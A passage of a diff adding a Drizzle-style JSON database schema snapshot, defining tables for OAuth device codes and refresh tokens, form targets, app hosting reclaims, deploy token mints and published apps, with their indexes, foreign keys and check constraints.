+ "foreignKeys": {
+ "oauth_device_codes_clientId_oauth_clients_id_fk": {
+ "name": "oauth_device_codes_clientId_oauth_clients_id_fk",
+ "tableFrom": "oauth_device_codes",
+ "tableTo": "oauth_clients",
+ "columnsFrom": [
+ "clientId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "oauth_device_codes_userId_users_id_fk": {
+ "name": "oauth_device_codes_userId_users_id_fk",
+ "tableFrom": "oauth_device_codes",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "oauth_device_codes_deviceCodeHash_unique": {
+ "name": "oauth_device_codes_deviceCodeHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "deviceCodeHash"
+ ]
+ },
+ "oauth_device_codes_userCodeHash_unique": {
+ "name": "oauth_device_codes_userCodeHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "userCodeHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.oauth_refresh_tokens": {
+ "name": "oauth_refresh_tokens",
+ "schema": "",
+ "columns": {
+ "authenticatedAt": {
+ "name": "authenticatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "authenticationAssurance": {
+ "name": "authenticationAssurance",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "tokenHash": {
+ "name": "tokenHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenPrefix": {
+ "name": "tokenPrefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "familyId": {
+ "name": "familyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "clientId": {
+ "name": "clientId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "scopes": {
+ "name": "scopes",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tokenVersion": {
+ "name": "tokenVersion",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "familyExpiresAt": {
+ "name": "familyExpiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "replacedByTokenId": {
+ "name": "replacedByTokenId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revokedAt": {
+ "name": "revokedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revokedReason": {
+ "name": "revokedReason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "oauth_refresh_tokens_family_id_idx": {
+ "name": "oauth_refresh_tokens_family_id_idx",
+ "columns": [
+ {
+ "expression": "familyId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_refresh_tokens_user_id_idx": {
+ "name": "oauth_refresh_tokens_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_refresh_tokens_client_id_idx": {
+ "name": "oauth_refresh_tokens_client_id_idx",
+ "columns": [
+ {
+ "expression": "clientId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_refresh_tokens_token_hash_idx": {
+ "name": "oauth_refresh_tokens_token_hash_idx",
+ "columns": [
+ {
+ "expression": "tokenHash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "oauth_refresh_tokens_expires_at_idx": {
+ "name": "oauth_refresh_tokens_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "oauth_refresh_tokens_clientId_oauth_clients_id_fk": {
+ "name": "oauth_refresh_tokens_clientId_oauth_clients_id_fk",
+ "tableFrom": "oauth_refresh_tokens",
+ "tableTo": "oauth_clients",
+ "columnsFrom": [
+ "clientId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "oauth_refresh_tokens_userId_users_id_fk": {
+ "name": "oauth_refresh_tokens_userId_users_id_fk",
+ "tableFrom": "oauth_refresh_tokens",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "oauth_refresh_tokens_tokenHash_unique": {
+ "name": "oauth_refresh_tokens_tokenHash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "tokenHash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.form_targets": {
+ "name": "form_targets",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "token_hash": {
+ "name": "token_hash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "token_prefix": {
+ "name": "token_prefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "page_id": {
+ "name": "page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "action": {
+ "name": "action",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'sheet:append'"
+ },
+ "canvas_page_id": {
+ "name": "canvas_page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "fields": {
+ "name": "fields",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "header_row": {
+ "name": "header_row",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "next_row": {
+ "name": "next_row",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "notification_email": {
+ "name": "notification_email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'active'"
+ },
+ "status_reason": {
+ "name": "status_reason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_by": {
+ "name": "created_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "last_submitted_at": {
+ "name": "last_submitted_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "submission_count": {
+ "name": "submission_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ }
+ },
+ "indexes": {
+ "form_targets_page_id_idx": {
+ "name": "form_targets_page_id_idx",
+ "columns": [
+ {
+ "expression": "page_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "form_targets_drive_id_idx": {
+ "name": "form_targets_drive_id_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "form_targets_status_idx": {
+ "name": "form_targets_status_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "form_targets_canvas_page_id_idx": {
+ "name": "form_targets_canvas_page_id_idx",
+ "columns": [
+ {
+ "expression": "canvas_page_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "form_targets_one_active_per_page_idx": {
+ "name": "form_targets_one_active_per_page_idx",
+ "columns": [
+ {
+ "expression": "page_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"form_targets\".\"status\" = 'active'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "form_targets_drive_id_drives_id_fk": {
+ "name": "form_targets_drive_id_drives_id_fk",
+ "tableFrom": "form_targets",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "drive_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "form_targets_page_id_pages_id_fk": {
+ "name": "form_targets_page_id_pages_id_fk",
+ "tableFrom": "form_targets",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "page_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "form_targets_canvas_page_id_pages_id_fk": {
+ "name": "form_targets_canvas_page_id_pages_id_fk",
+ "tableFrom": "form_targets",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "canvas_page_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "form_targets_created_by_users_id_fk": {
+ "name": "form_targets_created_by_users_id_fk",
+ "tableFrom": "form_targets",
+ "tableTo": "users",
+ "columnsFrom": [
+ "created_by"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "form_targets_token_hash_unique": {
+ "name": "form_targets_token_hash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "token_hash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.machine_sprite_reclaims": {
+ "name": "machine_sprite_reclaims",
+ "schema": "",
+ "columns": {
+ "sandboxId": {
+ "name": "sandboxId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "spriteInstanceId": {
+ "name": "spriteInstanceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "recordedAt": {
+ "name": "recordedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "attempts": {
+ "name": "attempts",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "lastAttemptAt": {
+ "name": "lastAttemptAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastError": {
+ "name": "lastError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "machine_sprite_reclaims_recorded_at_idx": {
+ "name": "machine_sprite_reclaims_recorded_at_idx",
+ "columns": [
+ {
+ "expression": "recordedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.app_deploy_token_mints": {
+ "name": "app_deploy_token_mints",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "publishedAppId": {
+ "name": "publishedAppId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "flyAppName": {
+ "name": "flyAppName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "mintedAt": {
+ "name": "mintedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "outcome": {
+ "name": "outcome",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'pending'"
+ },
+ "settledAt": {
+ "name": "settledAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expiry": {
+ "name": "expiry",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "purpose": {
+ "name": "purpose",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "app_deploy_token_mints_app_idx": {
+ "name": "app_deploy_token_mints_app_idx",
+ "columns": [
+ {
+ "expression": "publishedAppId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "mintedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "app_deploy_token_mints_publishedAppId_published_apps_id_fk": {
+ "name": "app_deploy_token_mints_publishedAppId_published_apps_id_fk",
+ "tableFrom": "app_deploy_token_mints",
+ "tableTo": "published_apps",
+ "columnsFrom": [
+ "publishedAppId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "app_deploy_token_mints_expiry_nonempty": {
+ "name": "app_deploy_token_mints_expiry_nonempty",
+ "value": "length(\"app_deploy_token_mints\".\"expiry\") > 0"
+ },
+ "app_deploy_token_mints_purpose_nonempty": {
+ "name": "app_deploy_token_mints_purpose_nonempty",
+ "value": "length(\"app_deploy_token_mints\".\"purpose\") > 0"
+ },
+ "app_deploy_token_mints_outcome_allowed": {
+ "name": "app_deploy_token_mints_outcome_allowed",
+ "value": "\"app_deploy_token_mints\".\"outcome\" IN ('pending', 'minted', 'failed')"
+ },
+ "app_deploy_token_mints_settled_coherent": {
+ "name": "app_deploy_token_mints_settled_coherent",
+ "value": "(\"app_deploy_token_mints\".\"outcome\" = 'pending') = (\"app_deploy_token_mints\".\"settledAt\" IS NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.app_hosting_reclaims": {
+ "name": "app_hosting_reclaims",
+ "schema": "",
+ "columns": {
+ "flyAppName": {
+ "name": "flyAppName",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "publishedAppId": {
+ "name": "publishedAppId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "machineId": {
+ "name": "machineId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "recordedAt": {
+ "name": "recordedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "attempts": {
+ "name": "attempts",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "lastAttemptAt": {
+ "name": "lastAttemptAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastError": {
+ "name": "lastError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "app_hosting_reclaims_recorded_at_idx": {
+ "name": "app_hosting_reclaims_recorded_at_idx",
+ "columns": [
+ {
+ "expression": "recordedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "app_hosting_reclaims_attempts_nonneg": {
+ "name": "app_hosting_reclaims_attempts_nonneg",
+ "value": "\"app_hosting_reclaims\".\"attempts\" >= 0"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.published_app_machine_events": {
+ "name": "published_app_machine_events",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "publishedAppId": {
+ "name": "publishedAppId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "flyAppName": {
+ "name": "flyAppName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "machineId": {
+ "name": "machineId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "origin": {
+ "name": "origin",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "action": {
+ "name": "action",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "flyEventId": {
+ "name": "flyEventId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "flyEventType": {
+ "name": "flyEventType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "flyEventStatus": {
+ "name": "flyEventStatus",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "occurredAt": {
+ "name": "occurredAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "recordedAt": {
+ "name": "recordedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "published_app_machine_events_app_idx": {
+ "name": "published_app_machine_events_app_idx",
+ "columns": [
+ {
+ "expression": "publishedAppId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "occurredAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "published_app_machine_events_fly_event_unique": {
+ "name": "published_app_machine_events_fly_event_unique",
+ "columns": [
+ {
+ "expression": "machineId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "flyEventId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"flyEventId\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "published_app_machine_events_publishedAppId_published_apps_id_fk": {
+ "name": "published_app_machine_events_publishedAppId_published_apps_id_fk",
+ "tableFrom": "published_app_machine_events",
+ "tableTo": "published_apps",
+ "columnsFrom": [
+ "publishedAppId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "published_app_machine_events_origin_allowed": {
+ "name": "published_app_machine_events_origin_allowed",
+ "value": "\"published_app_machine_events\".\"origin\" IN ('orchestrator', 'fly')"
+ },
+ "published_app_machine_events_action_allowed": {
+ "name": "published_app_machine_events_action_allowed",
+ "value": "\"published_app_machine_events\".\"action\" IN ('start', 'stop')"
+ },
+ "published_app_machine_events_fly_event_id_coherent": {
+ "name": "published_app_machine_events_fly_event_id_coherent",
+ "value": "(\"published_app_machine_events\".\"origin\" = 'fly') = (\"published_app_machine_events\".\"flyEventId\" IS NOT NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.published_apps": {
+ "name": "published_apps",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "envId": {
+ "name": "envId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "ownerId": {
+ "name": "ownerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "costOwnerId": {
+ "name": "costOwnerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "flyAppName": {
+ "name": "flyAppName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "networkName": {
+ "name": "networkName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "subdomain": {
+ "name": "subdomain",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "published_app_status",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'provisioning'"
+ },
+ "guestPreset": {
+ "name": "guestPreset",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'shared-cpu-1x-512'"
+ },
+ "imageDigest": {
+ "name": "imageDigest",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "imageSizeBytes": {
+ "name": "imageSizeBytes",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "imageSizeMeasuredAt": {
+ "name": "imageSizeMeasuredAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "tier": {
+ "name": "tier",
+ "type": "published_app_tier",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'metered'"
+ },
+ "machineId": {
+ "name": "machineId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastWakeAt": {
+ "name": "lastWakeAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastStopAt": {
+ "name": "lastStopAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastHitAt": {
+ "name": "lastHitAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "awakeSecondsDay": {
+ "name": "awakeSecondsDay",
+ "type": "date",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "awakeSecondsToday": {
+ "name": "awakeSecondsToday",
+ "type": "double precision",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "awakeBilledThrough": {
+ "name": "awakeBilledThrough",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "awakeHoldId": {
+ "name": "awakeHoldId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storageLastBilledAt": {
+ "name": "storageLastBilledAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "lastError": {
+ "name": "lastError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "claimedAt": {
+ "name": "claimedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "claimedBy": {
+ "name": "claimedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "published_apps_drive_idx": {
+ "name": "published_apps_drive_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "published_apps_owner_idx": {
+ "name": "published_apps_owner_idx",
+ "columns": [
+ {
+ "expression": "ownerId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "published_apps_cost_owner_idx": {
+ "name": "published_apps_cost_owner_idx",
+ "columns": [
+ {
+ "expression": "costOwnerId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "published_apps_status_idx": {
+ "name": "published_apps_status_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "updatedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "published_apps_idle_idx": {
+ "name": "published_apps_idle_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "lastHitAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "published_apps_envId_drive_envs_id_fk": {
+ "name": "published_apps_envId_drive_envs_id_fk",
+ "tableFrom": "published_apps",
+ "tableTo": "drive_envs",
+ "columnsFrom": [
+ "envId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "published_apps_driveId_drives_id_fk": {
+ "name": "published_apps_driveId_drives_id_fk",
+ "tableFrom": "published_apps",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "published_apps_ownerId_users_id_fk": {
+ "name": "published_apps_ownerId_users_id_fk",
+ "tableFrom": "published_apps",
+ "tableTo": "users",
+ "columnsFrom": [
+ "ownerId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "published_apps_costOwnerId_users_id_fk": {
+ "name": "published_apps_costOwnerId_users_id_fk",
+ "tableFrom": "published_apps",
+ "tableTo": "users",
+ "columnsFrom": [
+ "costOwnerId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "published_apps_envId_unique": {
+ "name": "published_apps_envId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "envId"
+ ]
+ },
+ "published_apps_flyAppName_unique": {
+ "name": "published_apps_flyAppName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "flyAppName"
+ ]
+ },
+ "published_apps_subdomain_unique": {
+ "name": "published_apps_subdomain_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "subdomain"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "published_apps_serving_requires_image": {
+ "name": "published_apps_serving_requires_image",
+ "value": "\"published_apps\".\"status\" NOT IN ('running', 'deploying') OR \"published_apps\".\"imageDigest\" IS NOT NULL"
+ },
+ "published_apps_running_requires_machine": {
+ "name": "published_apps_running_requires_machine",
+ "value": "\"published_apps\".\"status\" <> 'running' OR \"published_apps\".\"machineId\" IS NOT NULL"
+ },
+ "published_apps_parked_is_metered_only": {
+ "name": "published_apps_parked_is_metered_only",
+ "value": "\"published_apps\".\"status\" <> 'parked' OR \"published_apps\".\"tier\" = 'metered'"
+ },
+ "published_apps_guest_preset_allowed": {
+ "name": "published_apps_guest_preset_allowed",
+ "value": "\"published_apps\".\"guestPreset\" IN ('shared-cpu-1x-512', 'shared-cpu-1x-1024', 'shared-cpu-2x-2048', 'shared-cpu-4x-4096')"
+ },
+ "published_apps_metered_guest_preset": {
+ "name": "published_apps_metered_guest_preset",
+ "value": "\"published_apps\".\"tier\" <> 'metered' OR \"published_apps\".\"guestPreset\" = 'shared-cpu-1x-512'"
+ },
+ "published_apps_image_size_nonneg": {
+ "name": "published_apps_image_size_nonneg",
+ "value": "\"published_apps\".\"imageSizeBytes\" IS NULL OR \"published_apps\".\"imageSizeBytes\" >= 0"
+ },
+ "published_apps_subdomain_nonempty": {
+ "name": "published_apps_subdomain_nonempty",
+ "value": "length(\"published_apps\".\"subdomain\") > 0"
+ },
+ "published_apps_claim_coherent": {
+ "name": "published_apps_claim_coherent",
+ "value": "(\"published_apps\".\"claimedAt\" IS NULL) = (\"published_apps\".\"claimedBy\" IS NULL)"
+ },
+ "published_apps_image_size_measured_coherent": {
+ "name": "published_apps_image_size_measured_coherent",
+ "value": "(\"published_apps\".\"imageSizeBytes\" IS NULL) = (\"published_apps\".\"imageSizeMeasuredAt\" IS NULL)"
+ },
+ "published_apps_awake_seconds_today_nonneg": {
+ "name": "published_apps_awake_seconds_today_nonneg",
